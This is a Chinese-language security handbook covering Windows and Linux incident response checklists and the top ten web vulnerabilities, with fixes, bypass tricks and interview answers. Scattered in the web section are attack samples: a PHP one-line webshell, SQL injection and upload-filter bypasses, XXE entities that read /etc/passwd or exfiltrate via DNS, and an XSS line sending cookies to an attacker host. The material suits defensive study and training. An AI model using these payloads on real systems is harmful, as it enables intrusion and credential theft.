应急手册指南

前言

分享一份实用的应急响应与WEB安全手册,涵盖Windows、Linux系统的应急响应流程,以及WEB安全领域Top10漏洞的原理、危害、修复方案和绕过技巧。内容偏重实战,适合安全服务人员、安全爱好者参考,用于快速定位和处置安全事件。

Windows应急响应流程

当Windows服务器遭遇安全事件(如入侵、恶意程序感染等),可按以下流程逐步排查和处置,快速定位威胁并恢复系统安全。

0x01 排查系统和账号安全

账号与系统权限是入侵者的主要目标,需优先检查以下内容:

  • 弱口令与开放端口:排查服务器是否存在弱口令账号,远程管理端口(如3389)是否违规向互联网开放。

  • 隐藏或克隆账号:通过注册表查看管理员对应键值(如HKEY_LOCAL_MACHINE\SAM\SAM),或使用D盾Web查杀工具扫描异常账号。

  • 账号异常登录:结合Windows安全日志(事件ID 4624/4625)排查管理员账号登录时间、IP是否异常,可导出日志后用LogParser工具批量分析。

0x02 排查异常端口与进程

网络连接和进程是恶意活动的直接载体,需重点监控:

  • 端口连接情况
    netstat -ano查看当前网络连接,识别可疑远程连接(如陌生IP、非业务端口);通过tasklist /fi "PID eq 进程ID"定位进程,用taskkill /f /pid 进程ID强制结束恶意进程。

  • 可疑进程识别
    观察进程是否存在以下特征:无签名验证信息、无描述信息、属主异常、路径不合法、CPU/内存占用长时间过高。推荐用火绒剑开启实时监控,捕获进程行为。

0x03 排查启动项与计划任务

入侵者常通过启动项或计划任务实现持久化控制,需全面检查:

  • 异常启动项:查看系统启动文件夹、注册表启动键(如HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run)、组策略脚本,识别命名异常的启动项;用火绒剑可视化查看启动项关联进程。

  • 可疑计划任务:通过“任务计划程序”或命令schtasks /query /fo LIST /v排查非业务计划任务,重点关注触发条件、执行脚本路径异常的任务。

  • 自启动服务:在“服务”管理界面或通过sc query查看服务,检查服务路径、启动类型是否异常,禁用或删除可疑服务。

0x04 排查系统相关信息

系统基础信息和文件目录可能留存入侵痕迹:

  • 系统版本与补丁:通过winver查看系统版本,用systeminfo检查补丁安装情况,确认是否存在未修复的高危漏洞(如永恒之蓝等)。

  • 可疑文件与目录:扫描系统盘及用户目录(如C:\Users\),查找新增陌生目录、隐藏文件(右键“显示隐藏文件”)、恶意脚本(如.bat .vbs .ps1)。

0x05 自动化查杀工具

借助专业工具提升查杀效率:

  • 病毒查杀:使用火绒、天擎、360杀毒等工具全盘扫描,清除恶意程序。

  • Webshell查杀:通过D盾Web查杀、河马Webshell扫描工具,检测网站目录下的后门文件(如eval assert等特征函数)。

0x06 日志分析

日志是追溯入侵源的关键依据:

  • 收集中间件Web日志(如IIS日志C:\inetpub\logs\LogFiles、Nginx日志)和Windows系统日志(安全日志、系统日志、应用程序日志),打包后用LogParser工具批量分析,筛选异常访问IP、请求路径、错误状态码等。

Linux应急响应流程

Linux系统应急响应需围绕账号、进程、日志等核心维度,结合命令行工具快速定位威胁,以下为关键步骤。

0x01 账号安全排查

Linux账号权限管理严格,需重点检查权限异常或新增账号:

  1. 用户信息文件:查看/etc/passwd(用户列表)和/etc/shadow(密码哈希),识别新增陌生用户、UID/GID为0的特权用户(非root账号却有root权限)。
  2. 当前登录用户:用who查看在线用户,w查看用户操作详情,uptime了解系统负载和登录时长,判断是否存在异常登录。
  3. 特权用户与sudo权限
    • awk -F: '$3==0{print $1}' /etc/passwd列出UID=0的特权用户(正常应为root);
    • more /etc/sudoers | grep -v "^#|^$" | grep "ALL=(ALL)"查看非root账号的sudo权限,禁用不必要的特权。
  4. 账号处置:对可疑账号,用usermod -L 用户名临时锁定,或userdel -r 用户名彻底删除(含家目录)。

0x02 历史命令审计

用户操作记录可追溯入侵行为:

  1. history查看当前用户历史命令,或直接读取~/.bash_history文件(需注意:history可能被清空,建议提前备份)。
  2. 建议开启历史命令审计:在/etc/profile中添加export HISTTIMEFORMAT="%F %Twhoami",记录命令执行时间和用户,增强可追溯性。

0x03 端口与进程排查

通过网络连接和进程定位恶意活动:

  • 端口连接:用netstat -tulnp(显示监听端口及关联进程)或ss -lntu查看网络连接,重点关注非业务端口(如3306、6379等未授权开放端口)。

  • 进程溯源:用ps aux查看所有进程,通过grep筛选可疑进程(如ps aux | grep 进程名/PID);通过ls -l /proc/$PID/exefile /proc/$PID/exe查看进程实际路径,确认是否合法。

0x04 开机启动项与定时任务

持久化控制常通过启动项或定时任务实现:

  • 启动项排查:检查/etc/rc.local/etc/init.d/目录、systemctl服务(systemctl list-unit-files --type=service),识别非业务启动脚本或服务。

  • 定时任务:用crontab -l查看当前用户定时任务,检查/etc/crontab/etc/cron.d/ /etc/cron.hourly/等目录,删除陌生任务(如定期下载恶意脚本的任务)。

0x05 日志审计

Linux日志集中存储在/var/log/目录,关键日志及用途如下:

日志文件说明
/var/log/cron记录定时任务执行日志
/var/log/message系统核心日志,含重要事件(如服务启动、错误信息)
/var/log/secure记录认证授权信息(如SSH登录、su切换、sudo操作)
/var/log/btmp错误登录日志(需用lastb查看)
/var/log/wtmp所有用户登录/注销及系统重启记录(需用last查看)
/var/log/utmp当前登录用户信息(需用w who查看)
  • 应用日志:如HTTP日志(/var/log/httpd/access.log)、FTP日志(/var/log/vsftp.log)等,需结合业务场景分析异常请求。

WEB-TOP10漏洞详解

WEB安全领域中,以下10类漏洞最为常见。本节涵盖其原理、危害、修复方案及典型绕过技巧,附面试高频问题解析。

0x01 SQL注入

核心原理

用户输入的数据未经过滤,被直接拼接为SQL语句执行(如SELECT * FROM users WHERE id='$_GET[id]')。
关键条件:用户可控输入 + 输入带入数据库查询。

危害

非法查询/修改数据、写入Webshell、泄露敏感信息(如账号密码)、甚至提权控制服务器。

修复方案

  • 采用参数化查询(如PreparedStatement),避免SQL语句拼接;

  • 对输入进行严格过滤(如转义单引号、限制字符类型);

  • 部署WAF,开启SQL注入防护规则;

  • 最小权限原则配置数据库账号(如禁止FILE权限)。

类型与绕过技巧

  • 类型:显注(有回显)、盲注(布尔型、报错型、时间型)。

  • 绕过方法:大小写混合(UniOn SelEct)、双写关键字(uniunionon)、内联注释(/*!union*/)、编码绕过(URL编码、16进制)、宽字节注入(%df')等。

面试高频问题

  • 如何判断SQL注入类型(字符型/数字型)?
    答:用id=2-1测试,若返回id=1结果则为数字型;或用and 1=1/and 1=2,均回显正常则为字符型。

  • SQL注入写入Webshell的条件?
    答:需知道网站绝对路径、数据库高权限(如root)、secure_file_priv无限制、网站目录可写。

0x02 文件上传漏洞

核心原理

对用户上传文件的类型、后缀未做严格验证,导致恶意文件(如Webshell)被上传至服务器并执行。

危害

上传后门文件直接控制网站,甚至通过提权获取服务器权限。

修复方案

  • 采用白名单验证(仅允许jpg png等安全后缀),拒绝黑名单过滤;

  • 上传目录禁止脚本执行(如Apache配置php_flag engine off);

  • 重命名上传文件(如随机文件名+安全后缀),避免路径可预测;

  • 限制文件大小,扫描文件内容(如检测图片马的恶意代码)。

绕过技巧

  • 黑名单绕过:大小写(.Php)、特殊后缀(.php5 .phtml)、空格/点绕过(.php. .php)、双写(.pphphp);

  • 白名单绕过%00截断(shell.php%00.jpg)、图片马(将Webshell插入图片尾部)、二次渲染绕过(修改图片未被渲染的区域)、条件竞争(趁文件未重命名时访问)。

面试高频问题

  • 大马与小马的区别?
    答:小马指一句话木马(代码量小,如<?php @eval($_POST['cmd']);?>),功能简单;大马是功能完整的管理工具(如文件管理、命令执行),通常先传小马再传大马。

0x03 文件包含漏洞

核心原理

程序通过动态参数引用文件时,未验证文件路径,导致恶意文件被包含并执行(如include($_GET['file']))。

危害

包含本地恶意文件(如图片马)或远程恶意脚本,执行代码获取权限;读取敏感文件(如/etc/passwd config.php)。

修复方案

  • 禁止动态包含用户可控参数;

  • 过滤../ ./等路径跳转字符;

  • 关闭PHP配置allow_url_fopenallow_url_include(防范远程文件包含);

  • 采用白名单限制可包含的文件。

类型与绕过技巧

  • 类型:本地文件包含(LFI)、远程文件包含(RFI)。

  • 绕过方法:路径截断(../重复拼接)、%00截断、包含日志文件(如Apache日志被写入Webshell后包含)、利用伪协议(php://filter/read=convert.base64-encode/resource=xxx.php读取源码)。

面试高频问题

  • include()require()的区别?
    答:include()加载失败时报警告并继续执行;require()加载失败时报致命错误并终止程序。

  • 常用文件包含伪协议?
    答:php://input(执行POST数据)、data://(传递数据流,如data://text/plain,<?php phpinfo();?>)、file://(读取本地文件)、zip://(包含压缩包内文件)。

0x04 CSRF(跨站请求伪造)

核心原理

攻击者诱导已登录用户访问恶意页面,以用户身份发起非预期请求(如修改密码、转账),利用用户的Cookie身份凭证完成操作。

危害

以受害者名义执行操作(如改密码、发评论、转账),造成账号被盗、财产损失等。

修复方案

  • 增加Token验证(每次请求携带随机Token,服务器验证有效性);

  • 验证Referer来源(检查请求是否来自可信域名);

  • 关键操作增加验证码或二次确认;

  • 设置Cookie的SameSite属性(SameSite=Lax/Strict,限制跨站携带)。

面试高频问题

  • CSRF与XSS的区别?
    答:XSS是注入恶意脚本盗取Cookie;CSRF是利用用户已有的Cookie身份,伪造请求执行操作。

  • 为什么Token能防御CSRF?
    答:Token是服务器生成的随机值,与用户会话绑定,攻击者无法获取,因此无法伪造含有效Token的请求。

0x05 SSRF(服务器请求伪造)

核心原理

服务器端接口存在未验证的外部资源请求参数,攻击者可构造请求,让服务器访问内网资源或其他服务器(如http://example.com/xxx?url=http://内网IP:端口)。

危害

探测内网存活主机、扫描内网端口、攻击内网服务(如Redis未授权访问)、读取本地文件(file:///etc/passwd)、通过gopher协议构造恶意请求。

修复方案

  • 白名单限制请求的域名/IP;

  • 禁止请求内网IP(如10.0.0.0/8 192.168.0.0/16)和敏感端口(如3306、6379);

  • 屏蔽响应详细信息(避免泄露内网结构);

  • 禁用危险协议(如gopher:// dict://)。

绕过技巧

  • IP绕过:十进制/八进制IP转换(127.0.0.12130706433)、域名绑定内网IP、利用句号/冒号(127。0。0。1);

  • 协议绕过:使用gopher://构造POST请求,攻击内网Redis(写入定时任务反弹shell)。

面试高频问题

  • SSRF常见利用场景?
    答:攻击内网服务(如Redis、Memcached未授权访问)、读取本地文件、端口扫描、通过云服务API获取密钥。

0x06 XXE(XML外部实体注入)

核心原理

XML解析器未禁用外部实体加载,攻击者通过构造恶意XML,加载外部实体文件或执行代码(如<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>)。

危害

读取本地文件、探测内网端口、执行命令(依赖解析器支持,如PHP的expect模块)、发起DOS攻击。

修复方案

  • 禁用外部实体加载(如PHP的libxml_disable_entity_loader(true),Java的DocumentBuilderFactory.setFeature);

  • 过滤用户输入的XML数据,禁止DOCTYPE ENTITY等关键字;

  • 使用安全的XML解析库,避免自定义解析逻辑。

绕过技巧

  • 外部实体引入(本地文件、远程URL);

  • 无回显时利用DNSlog外带数据(<!ENTITY xxe SYSTEM "http://dnslog域名/xxx">)。

面试高频问题

  • XXE无回显如何利用?
    答:通过DNSlog或HTTP请求外带数据,将读取的文件内容作为子域名或参数发送到攻击者服务器。

0x07 RCE(远程代码/命令执行)

核心原理

用户输入被直接作为命令/代码执行(如system($_GET['cmd'])),或通过漏洞组件(如Struts2、Log4j)执行恶意指令。

危害

执行系统命令(如rm -rf / whoami)、写入恶意文件、控制服务器。

修复方案

  • 禁止用户输入直接拼接为命令/代码;

  • 采用白名单限制允许执行的命令/函数;

  • 及时更新组件(如修复Log4j、Struts2漏洞);

  • 最小权限运行服务(如Web服务用低权限用户,禁止root运行)。

常见危险函数

  • 命令执行:PHP的system() exec() shell_exec(),Python的os.system() subprocess.call()

  • 代码执行:PHP的eval() assert(),Java的Runtime.exec()

面试高频问题

  • 命令执行与代码执行的区别?
    答:命令执行是调用操作系统命令(如ls ipconfig);代码执行是运行应用程序代码(如PHP/Java代码)。

0x08 XSS(跨站脚本攻击)

核心原理

攻击者向网页注入恶意JavaScript脚本,当用户访问页面时脚本执行,窃取Cookie、篡改页面内容或记录键盘输入。

危害

盗取用户Cookie(Session劫持)、钓鱼攻击、会话固定、蠕虫传播。

修复方案

  • 对用户输入进行HTML转义(如<&lt;>&gt;);

  • 为Cookie设置HttpOnly属性(禁止JS读取);

  • 启用CSP(内容安全策略),限制脚本加载来源;

  • 采用白名单过滤输入内容。

类型与绕过技巧

  • 类型:存储型(脚本存数据库,如留言板)、反射型(脚本在URL参数,如搜索框)、DOM型(脚本通过DOM操作执行,不经过服务器)。

  • 绕过方法:大小写混合(<ScRiPt>)、标签混淆(<img src=1 onerror=alert(1)>)、编码绕过(HTML实体、JS编码)、事件触发(onclick onerror)。

面试高频问题

  • XSS如何盗取Cookie?
    答:通过document.cookie获取Cookie,用img标签或AJAX发送到攻击者服务器(如<script>new Image().src='http://attacker/?cookie='+document.cookie</script>)。

0x09 逻辑漏洞

核心原理

因业务逻辑设计缺陷导致的漏洞,通常不涉及复杂技术,而是流程或权限控制的疏漏。

常见类型

  • 越权访问:垂直越权(低权限用户操作高权限功能,如普通用户访问管理员后台)、平行越权(同权限用户访问他人数据,如修改ID查看其他用户订单);

  • 密码找回漏洞:验证码爆破、跳过验证步骤、找回凭证泄露(如通过数据包获取验证码);

  • 支付漏洞:修改订单金额、重复提交订单、优惠券金额篡改;

  • 未授权访问:直接访问需登录的页面(如/admin未验证Session)。

修复方案

  • 严格校验用户权限(如每次操作前检查角色);

  • 关键步骤增加验证码/二次确认;

  • 敏感操作使用随机Token,避免参数直接可控;

  • 支付金额等核心数据在服务器端校验,不依赖客户端提交值。

0x0A 序列化与反序列化漏洞

核心原理

序列化将对象转换为可传输格式,反序列化将其恢复为对象。若反序列化数据可控,攻击者可构造恶意对象,触发代码执行(如调用危险魔术方法)。

危害

执行恶意代码、获取服务器权限,常见于Java(Shiro、Fastjson)、PHP、Python等语言。

修复方案

  • 严格验证反序列化数据来源,拒绝不可信输入;

  • 禁用危险类/函数(如Java禁用javax.script.ScriptEngineManager);

  • 使用安全的序列化库,及时更新补丁(如升级Fastjson至最新版);

  • 采用加密或签名保护序列化数据,防止篡改。

典型案例

  • Shiro反序列化:AES密钥硬编码,攻击者构造恶意序列化数据,通过rememberMeCookie触发反序列化执行命令;

  • Fastjson反序列化:通过@type指定恶意类(如com.sun.rowset.JdbcRowSetImpl),触发JNDI注入执行代码;

  • PHP反序列化:利用魔术方法(如__wakeup() __destruct()),在反序列化时执行恶意代码。

CTF新手村
CTF新生指南-恒星赛